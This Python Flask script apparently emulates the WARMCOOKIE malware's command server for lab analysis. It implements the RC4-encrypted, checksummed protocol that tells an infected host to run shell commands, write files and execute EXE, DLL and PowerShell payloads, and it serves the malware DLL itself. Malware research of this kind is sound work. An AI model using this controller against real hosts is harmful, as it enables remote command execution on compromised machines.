tools/warmcookie/warmcookie_http.py (293 lines of code) (raw):

from flask import Flask, Response, send_file, request from Crypto.Cipher import ARC4 import struct import ctypes app = Flask(__name__) RC4_KEY = "83ddc084e21a244c" COMMAND_ID = 0x00000001 DLL_PATH = "mare_test.dll" # INSERT DLL PATH HERE DLL_EXPORT = b"Start\x00" # INSERT DLL EXPORT HERE EXE_PATH = "mare_test.exe" # INSERT EXE PATH HERE PS1_PATH = "mare_test.ps1" # INSERT PS1 PATH HERE COMMAND = b"whoami" # INSERT COMMDAND FILE_PATH = b"C:\\tmp\\meow.txt\x00" # INSERT FILE PATH FOR CREATION FILE_DATA = b"meow" # INSERT DATA FOR NEW FILE WARMCOOKIE_DLL = "/malwares/f4d2c9470b322af29b9188a3a590cbe85bacb9cc8fcd7c2e94d82271ded3f659" # INSERT WARMCOOKIE DLL PATH class Header(ctypes.Structure): _pack_ = 1 _fields_ = [ ("value1", ctypes.c_uint32), ("command_id", ctypes.c_uint32), ] def new_handler_4_parameter(command: bytes): class Handler4(ctypes.Structure): _pack_ = 1 _fields_ = [ ("length_cmd", ctypes.c_uint32), ("field_4", ctypes.c_uint32), ("field8", ctypes.c_uint32), ("cmd", ctypes.c_char * len(command)), ] return Handler4( len(command), 0xDEADBEEF, 0xDEADBEEF, command, ) def new_handler_5_parameter(filepath: bytes, file_content: bytes): class Handler5(ctypes.Structure): _pack_ = 1 _fields_ = [ ("field_0", ctypes.c_uint32), ("field_4", ctypes.c_uint32), ("field8", ctypes.c_uint32), ("offset", ctypes.c_uint32), ("file_content_size", ctypes.c_uint32), ("filepath", ctypes.c_char * len(filepath)), ("file_content", ctypes.c_char * len(file_content)), ] return Handler5( 0xDEADBEEF, 0xDEADBEEF, 0xDEADBEEF, 0x30, len(file_content), filepath, file_content, ) def new_handler_6_parameter(filepath: bytes): class Handler6(ctypes.Structure): _pack_ = 1 _fields_ = [ ("field_0", ctypes.c_uint32), ("field_4", ctypes.c_uint32), ("size_file_path", ctypes.c_uint32), ("filepath", ctypes.c_char * len(filepath)), ] return Handler6( 0xDEADBEEF, 0xDEADBEEF, len(filepath), filepath, ) def new_handler_7_parameter(file_content: bytes): class Handler7(ctypes.Structure): _pack_ = 1 _fields_ = [ ("field_0", ctypes.c_uint32), ("field_4", ctypes.c_uint32), ("field8", ctypes.c_uint32), ("offset", ctypes.c_uint32), ("file_content_size", ctypes.c_uint32), ("file_content", ctypes.c_ubyte * len(file_content)), ] file_content_array = (ctypes.c_ubyte * len(file_content))(*file_content) return Handler7( 0xDEADBEEF, 0xDEADBEEF, 0xDEADBEEF, 0x20, len(file_content), file_content_array, ) def new_handler_8_parameter( export: bytes, file_content: bytes, ): class Handler8(ctypes.Structure): _pack_ = 1 _fields_ = [ ("field_0", ctypes.c_uint32), ("size_export", ctypes.c_uint32), ("field_8", ctypes.c_uint32), ("offset_plus_export_size", ctypes.c_uint32), ("size_file_content", ctypes.c_uint32), ("export", ctypes.c_char * len(export)), ("file_content", ctypes.c_ubyte * len(file_content)), ] file_content_array = (ctypes.c_ubyte * len(file_content))(*file_content) return Handler8( 0xDEADBEEF, len(export), 0xDEADBEEF, 0x20 + len(export), len(file_content), export, file_content_array, ) def new_handler_9_parameter(script_content: bytes): class Handler9(ctypes.Structure): _pack_ = 1 _fields_ = [ ("field_0", ctypes.c_uint32), ("field_4", ctypes.c_uint32), ("field8", ctypes.c_uint32), ("offset", ctypes.c_uint32), ("script_content_size", ctypes.c_uint32), ("script_content", ctypes.c_ubyte * len(script_content)), ] script_content_array = (ctypes.c_ubyte * len(script_content))(*script_content) return Handler9( 0xDEADBEEF, 0xDEADBEEF, 0xDEADBEEF, 0x20, len(script_content), script_content_array, ) def new_handler_10_parameter(file_content: bytes): class Handler10(ctypes.Structure): _pack_ = 1 _fields_ = [ ("field_0", ctypes.c_uint32), ("offset", ctypes.c_uint32), ("file_content_size", ctypes.c_uint32), ("file_content", ctypes.c_ubyte * len(file_content)), ] file_content_array = (ctypes.c_ubyte * len(file_content))(*file_content) return Handler10( 0xDEADBEEF, 0x18, len(file_content), file_content_array, ) def new_handler_multi_parameter(): class HandlerMulti(ctypes.Structure): _pack_ = 1 _fields_ = [ ("field_1", ctypes.c_uint32), ] return HandlerMulti( 0xDEADBEEF, ) def build_request(value1, command_id: int, parameter: bytes) -> bytes: arc4 = ARC4.new(RC4_KEY.encode()) request = bytes(Header(value1, command_id)) + parameter my_checksum = calculate_checksum(request, 0) print(f"Request Checksum: {hex(my_checksum)}") request = struct.pack("<I", my_checksum) + request return arc4.encrypt(request) def calculate_checksum(str_input, i): if i == 0: i = 0xFFFFFFFF if i == -1: i = 0 for idx in range(0, len(str_input), 2): v6 = str_input[idx] | (str_input[idx + 1] << 8) for _ in range(16): if (v6 ^ i) & 1: i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF else: i = (i >> 1) & 0xFFFFFFFF v6 >>= 1 return ~i & 0xFFFFFFFF @app.route( "/data/e93629b052f25d25c92a4afaee51cc81", methods=["HEAD", "GET"], strict_slashes=False, ) def download_dll(): return send_file(WARMCOOKIE_DLL) @app.route("/", methods=["GET", "POST"], strict_slashes=False) def hello(): global COMMAND_ID value1 = 0x1 if request.method == "GET": if COMMAND_ID in [0x00000001, 0x00000002, 0x00000003, 0x0000000B]: print(f"Command Handler: {hex(COMMAND_ID)}") response = Response( build_request(value1, COMMAND_ID, new_handler_multi_parameter()), mimetype="application/octet-stream", ) COMMAND_ID += 1 return response elif COMMAND_ID == 0x00000004: print(f"Command Handler: {hex(COMMAND_ID)}") response = Response( build_request( value1, COMMAND_ID, bytes(new_handler_4_parameter(COMMAND)) ), mimetype="application/octet-stream", ) COMMAND_ID += 1 return response elif COMMAND_ID == 0x00000005: print(f"Command Handler: {hex(COMMAND_ID)}") response = Response( build_request( value1, COMMAND_ID, bytes(new_handler_5_parameter(FILE_PATH, FILE_DATA)), ), mimetype="application/octet-stream", ) COMMAND_ID += 1 return response elif COMMAND_ID == 0x00000006: print(f"Command Handler: {hex(COMMAND_ID)}") response = Response( build_request( value1, COMMAND_ID, bytes(new_handler_6_parameter(FILE_PATH)), ), mimetype="application/octet-stream", ) COMMAND_ID += 1 return response elif COMMAND_ID == 0x00000007: print(f"Command Handler: {hex(COMMAND_ID)}") with open(EXE_PATH, "rb") as exe_file: exe_data = exe_file.read() response = Response( build_request( value1, COMMAND_ID, bytes(new_handler_7_parameter(exe_data)) ), mimetype="application/octet-stream", ) COMMAND_ID += 1 return response elif COMMAND_ID == 0x00000008: print(f"Command Handler: {hex(COMMAND_ID)}") with open(DLL_PATH, "rb") as dll_file: dll_data = dll_file.read() response = Response( build_request( value1, COMMAND_ID, bytes(new_handler_8_parameter(DLL_EXPORT, dll_data)), ), mimetype="application/octet-stream", ) COMMAND_ID += 1 return response elif COMMAND_ID == 0x00000009: print(f"Command Handler: {hex(COMMAND_ID)}") with open(PS1_PATH, "rb") as ps1_file: ps1_data = ps1_file.read() response = Response( build_request( value1, COMMAND_ID, bytes(new_handler_9_parameter(ps1_data)) ), mimetype="application/octet-stream", ) COMMAND_ID += 1 return response elif COMMAND_ID == 0x0000000A: print(f"Command Handler: {hex(COMMAND_ID)}") with open(DLL_PATH, "rb") as dll_file: dll_data = dll_file.read() response = Response( build_request( value1, COMMAND_ID, bytes(new_handler_10_parameter(dll_data)) ), mimetype="application/octet-stream", ) COMMAND_ID += 1 return response else: return Response("Command not supported", status=400) elif request.method == "POST": return Response("POST request received", status=200) if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=80)